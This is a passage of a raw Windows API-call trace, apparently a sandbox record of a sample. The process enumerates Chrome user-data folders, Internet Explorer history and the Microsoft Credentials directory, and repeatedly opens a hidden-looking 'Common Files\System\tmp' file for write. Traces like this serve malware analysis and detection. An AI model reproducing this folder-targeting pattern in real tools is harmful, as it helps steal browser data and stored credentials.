Data\\Default\\Sync Extension Settings\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0xb000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xa4a7, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.754] AreFileApisANSI () returned 1 [0127.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.754] GetFileType (hFile=0x198) returned 0x1 [0127.754] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Applications\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0xb000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xa5b6, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.754] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.754] GetLastError () returned 0x12 [0127.754] AreFileApisANSI () returned 1 [0127.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.755] GetFileType (hFile=0x194) returned 0x1 [0127.755] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\EVWhitelist\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.802] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.802] GetLastError () returned 0x12 [0127.802] AreFileApisANSI () returned 1 [0127.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.802] GetFileType (hFile=0x194) returned 0x1 [0127.802] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.847] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.847] GetLastError () returned 0x12 [0127.847] AreFileApisANSI () returned 1 [0127.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.847] GetFileType (hFile=0x194) returned 0x1 [0127.848] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\OriginTrials\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.848] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.848] GetLastError () returned 0x12 [0127.848] AreFileApisANSI () returned 1 [0127.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.848] GetFileType (hFile=0x194) returned 0x1 [0127.848] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\PepperFlash\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.849] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.849] GetLastError () returned 0x12 [0127.849] AreFileApisANSI () returned 1 [0127.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.849] GetFileType (hFile=0x194) returned 0x1 [0127.849] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\pnacl\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.849] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.849] GetLastError () returned 0x12 [0127.849] AreFileApisANSI () returned 1 [0127.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.850] GetFileType (hFile=0x194) returned 0x1 [0127.850] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.894] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.894] GetLastError () returned 0x12 [0127.894] AreFileApisANSI () returned 1 [0127.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.894] GetFileType (hFile=0x194) returned 0x1 [0127.895] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SwReporter\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.895] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.895] GetLastError () returned 0x12 [0127.895] AreFileApisANSI () returned 1 [0127.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.895] GetFileType (hFile=0x194) returned 0x1 [0127.895] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\WidevineCdm\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.896] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.896] GetLastError () returned 0x12 [0127.896] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.896] GetLastError () returned 0x12 [0127.896] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.896] GetLastError () returned 0x12 [0127.896] AreFileApisANSI () returned 1 [0127.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.896] GetFileType (hFile=0x18c) returned 0x1 [0127.897] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.897] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.897] GetLastError () returned 0x12 [0127.897] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0127.897] GetLastError () returned 0x12 [0127.897] AreFileApisANSI () returned 1 [0127.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0127.897] GetFileType (hFile=0x188) returned 0x1 [0127.897] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x867248, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0127.898] AreFileApisANSI () returned 1 [0127.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.898] GetFileType (hFile=0x18c) returned 0x1 [0127.898] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa413c7b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa413c7b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.899] AreFileApisANSI () returned 1 [0127.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.899] GetFileType (hFile=0x190) returned 0x1 [0127.899] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0xc000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xb150, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.899] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.899] GetLastError () returned 0x12 [0127.899] AreFileApisANSI () returned 1 [0127.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.899] GetFileType (hFile=0x18c) returned 0x1 [0127.899] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.900] AreFileApisANSI () returned 1 [0127.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.900] GetFileType (hFile=0x190) returned 0x1 [0127.900] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x837620, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.900] AreFileApisANSI () returned 1 [0127.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.900] GetFileType (hFile=0x194) returned 0x1 [0127.900] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x14, ftLastWriteTime.dwHighDateTime=0xc000, nFileSizeHigh=0x0, nFileSizeLow=0xb426, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0127.900] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.901] GetLastError () returned 0x12 [0127.901] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.901] GetLastError () returned 0x12 [0127.901] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0127.901] GetLastError () returned 0x12 [0127.901] AreFileApisANSI () returned 1 [0127.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0127.901] GetFileType (hFile=0x188) returned 0x1 [0127.901] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x867248, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0127.901] AreFileApisANSI () returned 1 [0127.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.902] GetFileType (hFile=0x18c) returned 0x1 [0127.902] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.902] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.902] GetLastError () returned 0x12 [0127.902] AreFileApisANSI () returned 1 [0127.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, 